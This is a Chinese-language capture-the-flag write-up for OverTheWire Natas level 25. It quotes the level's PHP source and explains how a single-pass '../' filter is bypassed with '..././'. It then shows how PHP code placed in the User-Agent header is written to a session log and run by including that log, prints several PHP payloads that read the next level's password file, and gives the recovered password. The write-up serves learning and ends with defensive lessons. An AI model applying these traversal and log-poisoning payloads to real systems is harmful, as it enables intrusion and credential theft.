Natas25：

打开页面，是一段引文以及可以选择语言的下拉list。查看源码，发现关键代码：

function setLanguage(){          //选择语言
    /* language setup */
    if(array_key_exists("lang",$_REQUEST))  //如果请求提交的参数中存在lang
        if(safeinclude("language/" . $_REQUEST["lang"] )) //检查输入
            return 1;
    safeinclude("language/en"); 
}

function safeinclude($filename){  //检查输入参数
    // check for directory traversal    检查目录遍历
	//strstr() 函数搜索字符串在另一字符串中是否存在，如果是，返回该字符串及剩余部分，否则返回 FALSE。
	//str_replace($search,$replace,$subject)：将$subject中的$search 都被$replace替换
	//下面代码的意思是，如果filename中含有"../"，表明受到了目录遍历攻击，则将filename中的"../"替换为""，以防止目录遍历
    if(strstr($filename,"../")){  
        logRequest("Directory traversal attempt! fixing request.");
        $filename=str_replace("../","",$filename);
    }
	
    // dont let ppl steal our passwords   文件访问控制
	//下面代码的意思是，如果filename中含有"natas_webpass"，表明用户试图访问非法文件，则退出程序
    if(strstr($filename,"natas_webpass")){
        logRequest("Illegal file access detected! Aborting!");
        exit(-1);
    }
    // add more checks...

    if (file_exists($filename)) {  //检测目录是否存在
        include($filename);
        return 1;
    }
    return 0;
}
  
function logRequest($message){                 		//请求日志
    $log="[". date("d.m.Y H::i:s",time()) ."]";		//时间日期
    $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];	//加http_user_agent
    $log=$log . " \"" . $message ."\"\n"; 			//加上message
    $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
    fwrite($fd,$log);								//将日志信息写入文件
    fclose($fd);
}

首先要将注入点分析清楚：一共有三个注入点

1.$_REQUEST["lang"]              即get/post注入
2.$_SERVER['HTTP_USER_AGENT']    http头部信息注入
3.session_id()                   cookie注入

23条注入存在于logRequest函数中，能够发生的前提是safeinclude函数检测到了非法输入，而且必须是“../”这种非法输入，若是“natas_webpass”这种的话会直接exit(-1)。

这里第一条过滤非法输入语句（将"../"替换为""，以防止目录遍历）存在漏洞，因为if是一次性把所有符合的替换掉，构造复合的参数即可绕过，例如：....//或者..././。这里可以绕过的根本原因就在于没有使用while语句，没有想到过滤一次后依然存在../，所以过滤应该持续检测直到非法字符不再出现。

第1条直接注入比较困难，原因在于即使用..././绕过了第一条检测，第二条检测也很难直接将"natas_webpass"目录下的密码给include进来，所以应该思考利用第2或3条注入，2或3两个注入必须触发“../”检测，随后logRequest($message)将信息写入/var/www/natas/natas25/logs/natas25_session_id().log。

很容易得到新思路，将能够显示密码的php语句写入到session_id().log之中，随后在safeinclude中将其include进来，可以考虑$_SERVER['HTTP_USER_AGENT'] 注入，在header中写入php语句（以下任选一句）：

<?php include("/etc/natas_webpass/natas26")?> 
<?php echo file_get_contents("/etc/natas_webpass/natas26")?> 
<?php passthru("cat /etc/natas_webpass/natas26")?>
<?php readfile("/etc/natas_webpass/natas26")?>

这样做以后，只要触发第一条过滤机制，密码就会在.log被include进来时显示，考虑如何既触发../又能够将.log包含进来：GET: lang=..././..././..././..././..././var/www/natas/natas25/logs/natas25_session_id().log即可

流程：GET输入触发第一次过滤，开始记录日志，headers中http-agent的php执行语句被记录到/var/www/natas/natas25/logs/natas25_session_id().log。同时输入被过滤为../../../../../var/www/natas/natas25/logs/natas25_session_id().log。file_exists()检测正确，将其include进来，触发php语句，显示flag。

有两个地方需要注入，即get/post 和 headers。

flag：oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T

总结：

1.过滤机制一定要达到在任何情况下确定不包含非法字符（考虑周全）
2.对用户的输入（不一定是真的“输入”，只要是用户传过来的信息）都要做防注入或过滤处理。
3.做题的思路很重要，一是要注意过滤机制是否不够严格，而是碰壁后应该全局思考所有的注入点，只要是自己能篡改的信息都要思考能否注入，而且可能是多个注入点联合使用。

 

参考：

https://www.cnblogs.com/ichunqiu/p/9554885.html
https://www.cnblogs.com/liqiuhao/p/6883356.html